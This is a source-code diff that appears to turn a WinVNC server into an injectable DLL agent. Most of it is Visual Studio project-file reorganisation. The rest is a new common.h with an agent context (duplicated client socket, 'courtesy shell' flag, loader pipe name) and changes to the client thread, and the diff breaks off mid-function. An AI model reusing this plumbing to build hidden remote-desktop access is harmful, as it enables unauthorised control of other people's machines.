TargetMachine="1"
|
||||
/>
|
||||
<Tool
|
||||
|
@ -99,6 +99,7 @@
|
|||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
EmbedManifest="false"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
|
@ -114,7 +115,7 @@
|
|||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
CommandLine="copy /y "$(ProjectDir)\release\vncdll.dll" "$(ProjectDir)..\output\""
|
||||
CommandLine=""
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
|
@ -180,7 +181,7 @@
|
|||
Name="VCLinkerTool"
|
||||
IgnoreImportLibrary="true"
|
||||
AdditionalDependencies="ws2_32.lib"
|
||||
OutputFile="$(OutDir)\vncdll.x64.dll"
|
||||
OutputFile="$(OutDir)\vnc.x64.dll"
|
||||
LinkIncremental="1"
|
||||
SuppressStartupBanner="false"
|
||||
GenerateManifest="false"
|
||||
|
@ -217,7 +218,7 @@
|
|||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
CommandLine="copy /y "$(ProjectDir)\x64\release\vncdll.x64.dll" "$(ProjectDir)..\output\""
|
||||
CommandLine=""
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
|
@ -252,7 +253,7 @@
|
|||
Name="VCCLCompilerTool"
|
||||
Optimization="0"
|
||||
AdditionalIncludeDirectories="./omnithread;./zlib;.."
|
||||
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;__WIN32__;__NT__;__x86__;NCORBA;_WINSTATIC;XMD_H;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
|
||||
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;__WIN32__;__NT__;__x86__;NCORBA;_WINSTATIC;XMD_H;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;_CRT_SECURE_NO_WARNINGS"
|
||||
BasicRuntimeChecks="1"
|
||||
RuntimeLibrary="1"
|
||||
BufferSecurityCheck="true"
|
||||
|
@ -411,9 +412,313 @@
|
|||
</References>
|
||||
<Files>
|
||||
<Filter
|
||||
Name="Source"
|
||||
Name="Source Files"
|
||||
Filter=".cpp, .c"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\vncdll.cpp"
|
||||
>
|
||||
</File>
|
||||
<Filter
|
||||
Name="encoder"
|
||||
Filter=".cpp, .c"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\vncEncodeCoRRE.cpp"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\vncEncodeHexT.cpp"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\vncEncoder.cpp"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\vncEncodeRRE.cpp"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\vncEncodeTight.cpp"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\vncEncodeZlib.cpp"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\vncEncodeZlibHex.cpp"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="omnithread"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\omnithread\nt.cpp"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\omnithread\nt.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\omnithread\omnithread.h"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="libjpeg"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jcapimin.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jcapistd.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jccoefct.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jccolor.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jcdctmgr.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jchuff.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jcinit.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jcmainct.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jcmarker.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jcmaster.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jcomapi.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jcparam.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jcphuff.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jcprepct.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jcsample.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jctrans.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jdapimin.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jdapistd.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jdatadst.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jdatasrc.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jdcoefct.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jdcolor.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jddctmgr.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jdhuff.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jdinput.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jdmainct.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jdmarker.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jdmaster.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jdmerge.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jdphuff.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jdpostct.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jdsample.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jdtrans.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jerror.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jfdctflt.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jfdctfst.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jfdctint.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jidctflt.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jidctfst.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jidctint.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jidctred.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jmemmgr.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jmemnobs.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jquant1.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jquant2.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jutils.c"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="zlib"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\zlib\adler32.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\compress.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\crc32.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\deflate.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\infblock.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\infcodes.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\inffast.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\inflate.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\inftrees.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\infutil.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\maketree.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\trees.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\uncompr.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\zutil.c"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="winvnc"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\d3des.c"
|
||||
>
|
||||
|
@ -574,10 +879,6 @@
|
|||
RelativePath=".\vncDesktop.cpp"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\vncdll.cpp"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\vncInstHandler.cpp"
|
||||
>
|
||||
|
@ -610,44 +911,115 @@
|
|||
RelativePath=".\WallpaperUtils.cpp"
|
||||
>
|
||||
</File>
|
||||
<Filter
|
||||
Name="Encoder"
|
||||
Filter=".cpp, .c"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\vncEncodeCoRRE.cpp"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\vncEncodeHexT.cpp"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\vncEncoder.cpp"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\vncEncodeRRE.cpp"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\vncEncodeTight.cpp"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\vncEncodeZlib.cpp"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\vncEncodeZlibHex.cpp"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="Headers"
|
||||
Name="Header Files"
|
||||
Filter=".h"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\common.h"
|
||||
>
|
||||
</File>
|
||||
<Filter
|
||||
Name="libjpeg"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jchuff.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jconfig.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jdct.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jdhuff.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jerror.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jinclude.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jmemsys.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jmorecfg.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jpegint.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jpeglib.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\libjpeg\jversion.h"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="zlib"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\zlib\deflate.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\infblock.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\infcodes.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\inffast.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\inffixed.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\inftrees.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\infutil.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\trees.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\zconf.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\zlib.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib\zutil.h"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="winvnc"
|
||||
>
|
||||
<File
|
||||
RelativePath="AdministrationControls.h"
|
||||
>
|
||||
|
@ -692,6 +1064,10 @@
|
|||
RelativePath="QuerySettingsControls.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\README.TXT"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\RectList.h"
|
||||
>
|
||||
|
@ -744,10 +1120,6 @@
|
|||
RelativePath=".\vncClient.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\vncCorbaConnect.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\vncDesktop.h"
|
||||
>
|
||||
|
@ -821,6 +1193,7 @@
|
|||
>
|
||||
</File>
|
||||
</Filter>
|
||||
</Filter>
|
||||
</Files>
|
||||
<Globals>
|
||||
</Globals>
|
||||
|
|
|
@ -0,0 +1,109 @@
|
|||
#ifndef _COMMON_H
|
||||
#define _COMMON_H
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
//#define DEBUGTRACE
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
#include <stdlib.h>
|
||||
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||
#ifndef DPRINTF
|
||||
#define DPRINTF
|
||||
static void real_dprintf(char *format, ...) {
|
||||
va_list args;
|
||||
char buffer[1024];
|
||||
FILE * fp = fopen("c:\\debug_log_vncdll.txt","a");
|
||||
va_start(args,format);
|
||||
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
|
||||
strcat_s(buffer, sizeof(buffer), "\r\n\x00");
|
||||
if(fp)
|
||||
{
|
||||
fputs( buffer, fp );
|
||||
fclose(fp);
|
||||
}
|
||||
OutputDebugString(buffer);
|
||||
}
|
||||
#endif
|
||||
#else
|
||||
#define dprintf(...) do{}while(0);
|
||||
#endif
|
||||
|
||||
// Simple macro to close a handle and set the handle to NULL.
|
||||
#define CLOSE_HANDLE( h ) if( h ) { CloseHandle( h ); h = NULL; }
|
||||
|
||||
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||
|
||||
typedef struct _PIXELFORMAT
|
||||
{
|
||||
BYTE bpp;
|
||||
BYTE depth;
|
||||
BYTE bigendian;
|
||||
BYTE truecolour;
|
||||
WORD redmax;
|
||||
WORD greenmax;
|
||||
WORD bluemax;
|
||||
BYTE redshift;
|
||||
BYTE greenshift;
|
||||
BYTE blueshift;
|
||||
BYTE pad1;
|
||||
WORD pad2;
|
||||
} PIXELFORMAT;
|
||||
|
||||
/*typedef struct _DICTMSG
|
||||
{
|
||||
DWORD dwId;
|
||||
DWORD dwDictLength;
|
||||
BYTE bDictBuffer[1];
|
||||
} DICTMSG;*/
|
||||
|
||||
/*
|
||||
* The context used for the agent to keep the vnc stream back to the client consistent during session switching.
|
||||
*/
|
||||
typedef struct _AGENT_CTX
|
||||
{
|
||||
// The WSAPROTOCOL_INFO structure for the socket back to the client.
|
||||
WSAPROTOCOL_INFO info;
|
||||
// Flag to disable the creation of a courtesy shell on the input desktop.
|
||||
BOOL bDisableCourtesyShell;
|
||||
// The event to terminate the vnc agent.
|
||||
HANDLE hCloseEvent;
|
||||
// A flag to force only the first agent instance to perform the RFB initilization.
|
||||
BOOL bInit;
|
||||
// The encoding used by the last agent, we can then force the next agent to keep using
|
||||
// the last known encoding in order to keep the remote client's RFB stream consistent.
|
||||
DWORD dwEncoding;
|
||||
// A hex value used for the loaders pipe server
|
||||
DWORD dwPipeName;
|
||||
// The rfb streams current pixel format.
|
||||
PIXELFORMAT PixelFormat;
|
||||
// Various settings for the rfb stream.
|
||||
DWORD dwCompressLevel;
|
||||
DWORD dwQualityLevel;
|
||||
BOOL bUseCopyRect;
|
||||
BOOL bEncodingRichCursor;
|
||||
BOOL bEncodingPointerPos;
|
||||
BOOL bEncodingLastRect;
|
||||
BOOL bEncodingNewfbSize;
|
||||
BOOL bEncodingXCursor;
|
||||
//DICTMSG * dictionaries[4];
|
||||
} AGENT_CTX, * LPAGENT_CTX;
|
||||
|
||||
#define MESSAGE_SETENCODING 0x28471649
|
||||
#define MESSAGE_SETPIXELFORMAT 0x92785926
|
||||
#define MESSAGE_SETCOMPRESSLEVEL 0x82658926
|
||||
#define MESSAGE_SETQUALITYLEVEL 0x31857295
|
||||
#define MESSAGE_SETCOPYRECTUSE 0x91748275
|
||||
#define MESSAGE_SETENCODINGRICHCURSOR 0x39185037
|
||||
#define MESSAGE_SETENCODINGPOINTERPOS 0x47295620
|
||||
#define MESSAGE_SETENCODINGLASTRECT 0x11984659
|
||||
#define MESSAGE_SETENCODINGNEWFBSIZE 0x94856345
|
||||
#define MESSAGE_SETENCODINGXCURSOR 0x81659265
|
||||
#define MESSAGE_SETZLIBDICTIONARY 0x91601668
|
||||
|
||||
#endif
|
|
@ -301,239 +301,11 @@
|
|||
Name="Source Files"
|
||||
Filter="cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\jcapimin.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jcapistd.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jccoefct.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jccolor.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jcdctmgr.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jchuff.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jcinit.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jcmainct.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jcmarker.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jcmaster.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jcomapi.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jcparam.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jcphuff.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jcprepct.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jcsample.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jctrans.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jdapimin.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jdapistd.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jdatadst.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jdatasrc.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jdcoefct.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jdcolor.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jddctmgr.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jdhuff.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jdinput.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jdmainct.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jdmarker.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jdmaster.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jdmerge.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jdphuff.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jdpostct.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jdsample.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jdtrans.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jerror.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jfdctflt.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jfdctfst.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jfdctint.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jidctflt.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jidctfst.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jidctint.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jidctred.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jmemmgr.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jmemnobs.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jquant1.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jquant2.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jutils.c"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="Header Files"
|
||||
Filter="h;hpp;hxx;hm;inl"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\jchuff.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jconfig.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jdct.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jdhuff.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jerror.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jinclude.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jmemsys.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jmorecfg.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jpegint.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jpeglib.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\jversion.h"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
</Files>
|
||||
<Globals>
|
||||
|
|
|
@ -312,18 +312,6 @@
|
|||
<References>
|
||||
</References>
|
||||
<Files>
|
||||
<File
|
||||
RelativePath="nt.cpp"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath="nt.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath="omnithread.h"
|
||||
>
|
||||
</File>
|
||||
</Files>
|
||||
<Globals>
|
||||
</Globals>
|
||||
|
|
|
@ -240,10 +240,37 @@ vncBuffer::SetClientFormat(rfbPixelFormat &format)
|
|||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL
|
||||
vncBuffer::SetEncoding(CARD32 encoding)
|
||||
/*
|
||||
VOID vncBuffer::UpdateZLibDictionary( AGENT_CTX * lpAgentContext )
|
||||
{
|
||||
do
|
||||
{
|
||||
if( !lpAgentContext || !m_encoder )
|
||||
break;
|
||||
|
||||
dprintf( "UpdateZLibDictionary, updating the ZLib dictionaries..." );
|
||||
m_encoder->UpdateZLibDictionary( lpAgentContext );
|
||||
dprintf( "UpdateZLibDictionary, Finished updating the ZLib dictionaries." );
|
||||
|
||||
} while( 0 );
|
||||
}
|
||||
|
||||
VOID vncBuffer::DumpZLibDictionary( AGENT_CTX * lpAgentContext )
|
||||
{
|
||||
do
|
||||
{
|
||||
if( !lpAgentContext || !m_encoder )
|
||||
break;
|
||||
|
||||
m_encoder->DumpZLibDictionary( lpAgentContext );
|
||||
|
||||
} while( 0 );
|
||||
}
|
||||
*/
|
||||
|
||||
BOOL vncBuffer::SetEncoding(CARD32 encoding)
|
||||
{
|
||||
|
||||
//m_desktop->FillDisplayInfo(&m_scrinfo);
|
||||
|
||||
// Delete the old encoder
|
||||
|
|
|
@ -78,6 +78,9 @@ public:
|
|||
void EnableLastRect(BOOL enable);
|
||||
BOOL IsLastRectEnabled() { return m_use_lastrect; }
|
||||
|
||||
//VOID UpdateZLibDictionary( AGENT_CTX * lpAgentContext );
|
||||
//VOID DumpZLibDictionary( AGENT_CTX * lpAgentContext );
|
||||
|
||||
// ENCODING
|
||||
BOOL SetEncoding(CARD32 encoding);
|
||||
|
||||
|
|
|
@ -91,7 +91,7 @@ public:
|
|||
vncServer *server,
|
||||
VSocket *socket,
|
||||
BOOL reverse,
|
||||
BOOL shared);
|
||||
BOOL shared, AGENT_CTX * lpAgentContext);
|
||||
|
||||
// Sub-Init routines
|
||||
virtual BOOL InitVersion();
|
||||
|
@ -119,17 +119,20 @@ protected:
|
|||
vncClient *m_client;
|
||||
BOOL m_reverse;
|
||||
BOOL m_shared;
|
||||
AGENT_CTX *m_lpAgentContext;
|
||||
};
|
||||
|
||||
vncClientThread::~vncClientThread()
|
||||
{
|
||||
//m_client->m_buffer->DumpZLibDictionary( m_lpAgentContext );
|
||||
m_socket->Close();
|
||||
// If we have a client object then delete it
|
||||
if (m_client != NULL)
|
||||
delete m_client;
|
||||
}
|
||||
|
||||
BOOL
|
||||
vncClientThread::Init(vncClient *client, vncServer *server, VSocket *socket, BOOL reverse, BOOL shared)
|
||||
vncClientThread::Init(vncClient *client, vncServer *server, VSocket *socket, BOOL reverse, BOOL shared, AGENT_CTX * lpAgentContext)
|
||||
{
|
||||
// Save the server pointer and window handle
|
||||
m_server = server;
|
||||
|
@ -137,7 +140,7 @@ vncClientThread::Init(vncClient *client, vncServer *server, VSocket *socket, BOO
|
|||
m_client = client;
|
||||
m_reverse = reverse;
|
||||
m_shared = shared;
|
||||
|
||||
m_lpAgentContext = lpAgentContext;
|
||||
// Start the thread
|
||||
start();
|
||||
|
||||
|
@ -572,8 +575,10 @@ ClearKeyState(BYTE key)
|
|||
}
|
||||
}
|
||||
|
||||
void
|
||||
vncClientThread::run(void *arg)
|
||||
extern HDESK vncdll_getinputdesktop( BOOL bSwitchStation );
|
||||
extern DWORD vncdll_postmessage( AGENT_CTX * lpAgentContext, DWORD dwMessage, BYTE * pDataBuffer, DWORD dwDataLength );
|
||||
|
||||
void vncClientThread::run(void *arg)
|
||||
{
|
||||
// All this thread does is go into a socket-recieve loop,
|
||||
// waiting for stuff on the given socket
|
||||
|
@ -582,7 +587,7 @@ vncClientThread::run(void *arg)
|
|||
// this thread.
|
||||
|
||||
// Save the handle to the thread's original desktop
|
||||
HDESK home_desktop = GetThreadDesktop(GetCurrentThreadId());
|
||||
HDESK home_desktop = vncdll_getinputdesktop(FALSE);
|
||||
|
||||
// To avoid people connecting and then halting the connection, set a timeout
|
||||
m_socket->SetTimeout(30000);
|
||||
|
@ -593,6 +598,8 @@ vncClientThread::run(void *arg)
|
|||
// All clients have the m_protocol_ready flag set to FALSE initially, to prevent
|
||||
// updates and suchlike interfering with the initial protocol negotiations.
|
||||
|
||||
if( m_lpAgentContext->bInit )
|
||||
{
|
||||
// GET PROTOCOL VERSION
|
||||
if (!InitVersion()) {
|
||||
m_server->RemoveClient(m_client->GetClientId());
|
||||
|
@ -610,6 +617,16 @@ vncClientThread::run(void *arg)
|
|||
m_server->RemoveClient(m_client->GetClientId());
|
||||
return;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// Save the minor number of the protocol version
|
||||
